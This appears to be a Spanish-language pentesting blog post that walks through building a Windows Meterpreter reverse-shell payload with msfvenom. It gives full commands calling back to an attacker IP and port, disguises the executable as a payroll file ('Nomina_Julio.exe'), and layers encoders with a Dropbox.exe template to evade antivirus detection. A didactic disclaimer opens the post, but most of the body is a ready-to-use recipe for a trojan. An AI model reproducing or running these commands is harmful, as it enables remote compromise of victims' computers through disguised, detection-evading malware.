Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.
En esta entrada trataremos la creación de un payload que abrirá la comunicación entre nuestra máquina atacante (Kali Linux) y un equipo víctima (Windows 10).
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -f exe > Nomina_Julio.exe
Las opciones son bastante intuitivas, pero por describir alguna de ellas, se está utilizando un conjunto de operaciones basado en sistemas “x86”, la plataforma objetivo es un sistema Windows y el formato de salida en un ejecutable “.exe” con nombre “Nomina_Julio.exe”. La dirección y puerto de la máquina atacante también se describe, y ahí es donde tendremos que poner nuestro equipo Kali a escuchar.
¡Ya tenemos nuestro primer payload!
Todo esto está muy chulo si fuera real… Lamentablemente para poder ejecutar el payload creado en el sistema Windows hay que deshabilitar cualquier tipo de protección. En un entorno real, este payload no duraría ni 5 segundos en un sistema.
Al encodear un payload, se está tratando de alterar el código para que los sistemas de detección no lo detecten, pero el payload siga haciendo su misma función. En msfvenom se pueden encontrar varios encoders, para este ejemplo, se utilizará “shikata_ga_nai”:
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -f exe > Nomina_Julio.exe
Ahora, si lo volvemos a analizar con virus total vemos una mejora en el resultado. Aunque no muy buena… 🙁
Otra técnica que podemos utilizar es la utilización de plantillas. Esto es, inyectar el payload dentro de un ejecutable reconocido. Por ejemplo, utilizaremos el ejecutable de Dropbox (Dropbox.exe).
Para llevar esto a cabo, cogemos el ejecutable de Dropbox de cualquier sistema y lo incluimos en la creación mediante MSFvenom de la siguiente forma:
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -i 10 -k -x Dropbox.exe -f exe > Nomina_Julio.exe
Todo esto está muy bien pero, ¿qué pasa con la detección?
En este sentido, podríamos entrar en modo “paranoico” y mezclar encoders junto con la plantilla de Dropbox:
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/countdown -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/bloxor -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/call4_dword_xor -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/jmp_call_additive -i 10 -k -x Dropbox.exe -f exe -o Nomina_Julio.exe
Siguen siendo muchos todavía, y en próximas entradas seguiremos viendo como reducirlo! 😉